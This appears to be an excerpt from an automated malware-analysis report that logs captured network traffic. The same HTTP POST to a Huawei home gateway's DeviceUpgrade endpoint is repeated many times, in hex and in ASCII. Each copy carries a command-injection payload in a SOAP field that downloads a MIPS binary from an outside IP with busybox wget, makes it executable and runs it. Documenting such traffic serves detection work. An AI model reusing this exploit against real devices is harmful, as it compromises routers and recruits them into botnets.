chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 